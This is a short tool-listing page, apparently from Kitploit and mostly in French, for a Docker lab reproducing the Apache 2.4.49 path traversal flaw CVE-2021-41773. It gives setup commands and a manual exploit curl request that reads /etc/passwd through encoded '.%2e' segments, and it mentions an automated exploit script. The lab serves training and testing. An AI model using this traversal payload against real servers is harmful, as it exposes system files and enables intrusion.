apache-cve-2021-41773-lab — Laboratoire Docker vulnérable et exploit pour la vulnérabilité de traversée de chemin d'Apache HTTP Server 2.4.49 (CVE‑2021‑41773) | Kitploit

Apache 2.4.49 Path Traversal Lab — CVE-2021-41773

Cloner

git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git
cd apache-cve-2021-41773-lab
chmod +x apache_lab.sh

Utilisation

Démarrer le serveur vulnérable :

./apache_lab.sh  # choose option 1

Exploitation manuelle :

curl --path-as-is http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Exploitation automatisée :

python3 exploit.py

Arrêter le serveur :

./apache_lab.sh  # choose option 2

apache-cve-2021-41773-lab

Populaires

Configuration du laboratoire

Confirmation de la version

Contournement de chemin manuel

Exploitation